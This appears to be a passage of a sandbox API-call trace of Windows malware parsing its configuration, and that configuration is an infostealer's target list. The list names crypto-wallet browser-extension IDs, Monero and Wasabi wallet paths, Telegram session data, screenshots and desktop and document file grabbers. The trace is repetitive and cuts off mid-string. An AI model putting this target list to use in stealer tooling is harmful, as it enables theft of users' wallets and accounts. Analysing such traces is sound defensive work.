Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.315] lstrlenW (lpString="xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3445 [0266.315] LocalAlloc (uFlags=0x40, uBytes=0x1b6a) returned 0x6f4830 [0266.315] StrCpyW (in: psz1=0x7038b8, psz2="Monero\\\\wallets" | out: psz1="Monero\\\\wallets") returned="Monero\\\\wallets" [0266.315] LocalFree (hMem=0x6f4830) returned 0x0 [0266.315] StrStrW (lpFirst="*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.315] lstrlenW (lpString="xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3445 [0266.315] LocalAlloc (uFlags=0x40, uBytes=0x1b6a) returned 0x6f4830 [0266.315] StrCpyW (in: psz1=0x6ef5a0, psz2="*.keys" | out: psz1="*.keys") returned="*.keys" [0266.316] LocalFree (hMem=0x6f4830) returned 0x0 [0266.316] StrStrW (lpFirst="-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.316] lstrlenW (lpString="xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension 